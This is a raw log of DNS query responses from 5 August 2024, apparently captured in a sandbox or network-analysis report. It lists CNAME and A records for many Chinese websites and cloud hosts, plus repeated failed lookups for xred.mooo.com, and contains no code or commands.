Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.sina.com.cn	spool.grid.sinaedge.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	spool.grid.sinaedge.com	ww1.sinaimg.cn.w.alikunlun.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.230	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.226	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.228	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.227	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.225	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569678068 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ww1.sinaimg.cn.w.alikunlun.com		47.246.46.229	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569751978 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569751978 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569751978 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569751978 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569766045 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cctv.com	www.cctv.com.wsglb0.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569766045 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		163.171.208.133	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.569766045 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		138.113.115.36	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.591012955 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com	www.eastmoney.com.w.cdngslb.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.591012955 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.591012955 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.233	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.591012955 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.235	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.591012955 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.234	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.591012955 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.236	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.591012955 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.591012955 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.232	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.591012955 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.eastmoney.com.w.cdngslb.com		163.181.201.231	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.604706049 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com	www.tencent.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.604706049 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.cdn.dnsv1.com	www.tencent.com.acc.edgeonedy1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.604706049 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.119.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.604706049 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.tencent.com.acc.edgeonedy1.com		43.159.118.238	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.605797052 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cctv.com	www.cctv.com.wsglb0.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.605797052 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		163.171.128.148	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.605797052 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cctv.com.wsglb0.com		138.113.147.185	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.jb51.net	ca38c0f2.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ca38c0f2.jiasula.vip	g8450a5.usallient81.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.247	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.250	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.253	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.241	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.248	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.240	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.244	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.249	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.251	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.727143049 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.246	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.jb51.net	ca38c0f2.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ca38c0f2.jiasula.vip	g8450a5.usallient81.jiasula.vip		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.240	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.253	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.252	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.248	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.251	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.249	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.247	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.244	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.237	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.241	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.250	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733019114 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	g8450a5.usallient81.jiasula.vip		45.194.34.246	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hupu.com	www.hupu.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.hupu.com.cdn.dnsv1.com	dc3ee476.ovslegodl-dk.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.143.134	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.143.159	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.185	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.188	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.27.8	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.139	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.246	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.175	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.158	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		101.33.26.9	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.194	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.80.77	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.173	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.81.100	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.733537912 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.175.139.72	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.800179005 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	guangzhoucs.oss-accelerate.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.800179005 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.800179005 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	eu-central-1-ds-2088.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.800179005 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	eu-central-1-ds-2088.oss-acc.aliyuncs.com		47.254.187.186	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.autohome.com.cn	www.autohome.com.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.autohome.com.cn.a.bdydns.com	opencdnqczjv6.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		221.204.61.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		150.138.157.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		61.163.9.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.249.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		27.221.38.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		218.60.173.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		101.72.199.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		60.221.222.1	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		121.22.239.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.810789108 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		218.60.172.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.882494926 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.zhihu.com	www.zhihu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.882494926 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.zhihu.com.dsa.dnsv1.com	bxjbqj09.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.882494926 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	bxjbqj09.e0.sched.ovscdns.com		43.152.29.38	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.882494926 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	bxjbqj09.e0.sched.ovscdns.com		43.152.186.108	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.972887039 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.zhihu.com	www.zhihu.com.dsa.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.972887039 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	www.zhihu.com.dsa.dnsv1.com	bxjbqj09.e0.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:38.972887039 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	bxjbqj09.e0.sched.ovscdns.com		43.159.71.118	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:38.972887039 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	bxjbqj09.e0.sched.ovscdns.com		43.159.70.125	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hupu.com	www.hupu.com.cdn.dnsv1.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.hupu.com.cdn.dnsv1.com	dc3ee476.ovslegodl-dk.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.235	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.251	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.200	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.117	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.196	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.242	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.152.186.122	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.001048088 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	dc3ee476.ovslegodl-dk.sched.ovscdns.com		43.132.66.245	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.036649942 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cdstm.cn	www.cdstm.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:39.036649942 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.cdstm.cn.a.bdydns.com	opencdnka.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:39.036649942 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnka.jomodns.com		113.219.142.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.autohome.com.cn	www.autohome.com.cn.a.bdydns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.autohome.com.cn.a.bdydns.com	opencdnqczjv6.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		58.254.180.65	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		61.163.9.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		60.6.196.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		39.91.182.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		60.221.222.1	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		61.163.51.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		58.243.203.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		27.221.38.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		14.204.138.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.186933041 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	opencdnqczjv6.jomodns.com		1.56.80.35	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:39.793220043 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	guangzhoucs.oss-accelerate.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:39.793220043 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:39.793220043 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ds-2088.oss-acc-allline.aliyuncs.com.gds.alibabadns.com	ap-southeast-1-ds-2088.oss-acc.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 5, 2024 12:00:39.793220043 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	ap-southeast-1-ds-2088.oss-acc.aliyuncs.com		161.117.242.92	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:40.929038048 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:40.929038048 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:41.131277084 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:41.131277084 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:41.162674904 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:41.162674904 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:41.373775959 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:41.373775959 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:42.971079111 CEST	1.1.1.1	192.168.2.7	0xed43	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:49.796461105 CEST	1.1.1.1	192.168.2.7	0x82a7	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:49.873867035 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:49.873867035 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:49.928946972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:49.928946972 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:54.339142084 CEST	1.1.1.1	192.168.2.7	0xf1c1	Name error (3)	xred.mooo.com	none	none	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:56.776956081 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:56.776956081 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:56.935086012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.179	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:00:56.935086012 CEST	114.114.114.114	192.168.2.7	0x100	No error (0)	sinacloud.net		27.221.16.149	A (IP address)	IN (0x0001)	false
Aug 5, 2024 12:01:13.202368975 CEST	8.8.8.8	192.168.2.7	0x100	No error (0)	www.aliyun.com	www-jp-de-intl-adns.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
